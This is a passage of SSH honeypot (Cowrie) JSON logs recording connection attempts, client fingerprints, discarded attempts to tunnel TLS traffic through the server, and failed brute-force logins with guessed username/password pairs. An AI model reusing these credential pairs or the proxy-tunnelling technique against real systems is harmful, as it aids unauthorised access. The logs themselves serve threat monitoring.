no-cache\\r\\n\\r\\n_=ZWFLRHBfWjlaeTxFdl9iUA%3D%3DVhALjJ54%2FLdlkGiuS%2Fhf5lHRkAIMquljL23S1LZgoahpvI34m8lrsJSrcrGl3z4dADOPjj0%2B2KcPHEbQdbG9QWF8v%2Bfk1MJtxTQJaFKcvU8SKgu8QSz8r7YxMnop%2FdayQ41vyEqJE2VTquTLNpjdCYT8btfzwLp5uWM3ejbQ4gaxTurv2RkGTgnxhBSQTWVPT8eF1fm%2F%2FNj1iapKqfciHgpW4mfyNlMzSHfHfSxm6FLiuEkFc3Lb%2FOg9dnmOePRErEH5%2BsM%2Bt3n%2FQSUDo3ZH9%2Bce8wwunI%2BjAHAaBPrdb9bzqO7qTQwiODKZzUPqrlNB7NMPiS5LtUhVpWULmP0rRgt4YPRgswqvfM8vbOf1X%2F6ktvzb3tNdNn%2B9GIjelDsU5CH84rGMBew%2Fp1nBJFXmTM0KRgEBrLuFWavKa2PrcLitetx2Lnqbbtak3YAw9Jcbta3aBq%2FzYAFJ6ysh2eIJc4B2ja%2F8xPTgO01ld6txT96hRUhLQMk4IW2D18zuIFGRK%2Bg7Sll1hNz2J2xfsGYUjSPKjo8%2BuS02jIKlzcjgpFi%2BUaGjIaqWH7pz4ZZGtuukzMY5%2B3hF5CsHphw8mRTEmqKqaWErjTumTso6yzf9Z%2FKWqwyu%2B1Bn07x0E1J01Lk2mnH%2FatSW4TUWxZmLPw8tQatDDmpDzx%2BPFwbhpciQp0jqkXIDYsCeTcMQMTPhEI2XF%2FgdAJCutE5Dnk%2BiRGC6dPQiTLd%2Fup4laSYydv3jaoRx6VxFe5ICMP4od6vLUhTk%2FKe%2FCpt7aWcPeTrbf%2BDd4JcItSIx0CIz65FuXQEav44QeP1Qh4OA03WBJI2I4FT5ye2fOkqy1ZjOTg4plp5Dqu4PS70ZKwnKSGnur%2BtBeCs5OBlUT2BfaoQMk2N9zO%2BvzhS3c6lQIz9U%2B3fwVp7Nhlsp7pvqkqS1V32ZqWKWuYtjQuw8I94YqtrjVL%2FumnmWcSiw%2FnpisMkpqWuAq1c8sl8LNsRk7Zy66KFi%2FkRVfm4daUpyoWaFPCcgdJ1pxA0vzvArSI0QvtvuawD1bAnPfu0whP2QVkiaM%2BeM3Ma%2FiI3xnv1NFbBvMJc68se%2BFcp6'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:25.625273Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":12662,"dst_ip":"10.17.0.5","dst_port":22,"session":"62cd35dc6a51","protocol":"ssh","message":"New connection: 45.153.34.195:12662 (10.17.0.5:22) [session: 62cd35dc6a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.043140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.048476Z","src_ip":"45.153.34.195","session":"62cd35dc6a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.3","message":"Connection lost after 20.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.109198Z","src_ip":"91.92.40.36","session":"799fa66d8f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.129478Z","src_ip":"45.153.34.195","session":"62cd35dc6a51","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.183364Z","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.243799Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\x85p\\x07\\xdb\\x87\\xfc\\xf2\\xd6\\xad\\xaa\\x8cs\\x8a\\x1f\\x06%\\x17\\xfc\\x84Z*V\\xbf\\x9a] t'Z\\xd9\\xa9 \\xf2\\x8a[r\\ne\\xee\\xff<<w4\\xe3}\\xc3\\x9f>k\\x06\\x97\\xf6\\x11h\\xc5\\xd3\\x03$\\x14\\x1a\\x8e\\x86d\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0\\x97\\x1d\\xd1\\xc3\\xca\\xce\\xc4}q \\xe7\\x17\\xcab\\x93\\x12\\x92s\\xdb9\\xb6\\xb1W/\\xb7\\x06\\x82.\\xa9\\xb2\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\r\\x85p\\x07\\xdb\\x87\\xfc\\xf2\\xd6\\xad\\xaa\\x8cs\\x8a\\x1f\\x06%\\x17\\xfc\\x84Z*V\\xbf\\x9a] t'Z\\xd9\\xa9 \\xf2\\x8a[r\\ne\\xee\\xff<<w4\\xe3}\\xc3\\x9f>k\\x06\\x97\\xf6\\x11h\\xc5\\xd3\\x03$\\x14\\x1a\\x8e\\x86d\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0\\x97\\x1d\\xd1\\xc3\\xca\\xce\\xc4}q \\xe7\\x17\\xcab\\x93\\x12\\x92s\\xdb9\\xb6\\xb1W/\\xb7\\x06\\x82.\\xa9\\xb2\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.247315Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.351501Z","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.410731Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9.\\x1d\\x86\\x13\\xfa\\xaa\\x10\\xe1\\xb3\\x1dC\\x99z\\xa3\\xeai\\x92Y]\\x89\\xfd\\x82r\\xc9\\n\\xda\\x1a\\x135\\xcc\\xc8  g\\xf7uN2\\xf0\\x96W\\xadALC\\xc2\\xcc\\xd6\\x04\\tA\\x0b\\xa1\\xe4]s\\x87\\x1e\\xbe\\r\\n\"\\x06m\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 k\\xab\\xb97\\xdb\\x9c\\xfep\\xd7!h=L\\xbd\\xd6\\xe6\\xc83\\xc0\\x11\\xa3\\x83\\xae\\x0f\\x9e\\xefP\\x17\\xd8q\\x95I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9.\\x1d\\x86\\x13\\xfa\\xaa\\x10\\xe1\\xb3\\x1dC\\x99z\\xa3\\xeai\\x92Y]\\x89\\xfd\\x82r\\xc9\\n\\xda\\x1a\\x135\\xcc\\xc8  g\\xf7uN2\\xf0\\x96W\\xadALC\\xc2\\xcc\\xd6\\x04\\tA\\x0b\\xa1\\xe4]s\\x87\\x1e\\xbe\\r\\n\"\\x06m\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 k\\xab\\xb97\\xdb\\x9c\\xfep\\xd7!h=L\\xbd\\xd6\\xe6\\xc83\\xc0\\x11\\xa3\\x83\\xae\\x0f\\x9e\\xefP\\x17\\xd8q\\x95I\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.415048Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"primera","message":"login attempt [user/primera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.476799Z","src_ip":"91.92.40.36","session":"5627ae29dc9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex123","message":"login attempt [alex/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:26.503372Z","src_ip":"45.153.34.195","session":"62cd35dc6a51","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:27.570158Z","src_ip":"91.92.40.36","session":"1c6b61e11223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:27.573637Z","src_ip":"91.92.40.36","session":"1c6b61e11223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:27.589448Z","src_ip":"45.153.34.195","session":"62cd35dc6a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.7","message":"Connection lost after 37.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:28.200342Z","src_ip":"23.175.50.52","session":"db0f1730718e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":12676,"dst_ip":"10.17.0.5","dst_port":22,"session":"06220c80a6a1","protocol":"ssh","message":"New connection: 45.153.34.195:12676 (10.17.0.5:22) [session: 06220c80a6a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:28.675226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:28.879173Z","src_ip":"45.153.34.195","session":"06220c80a6a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 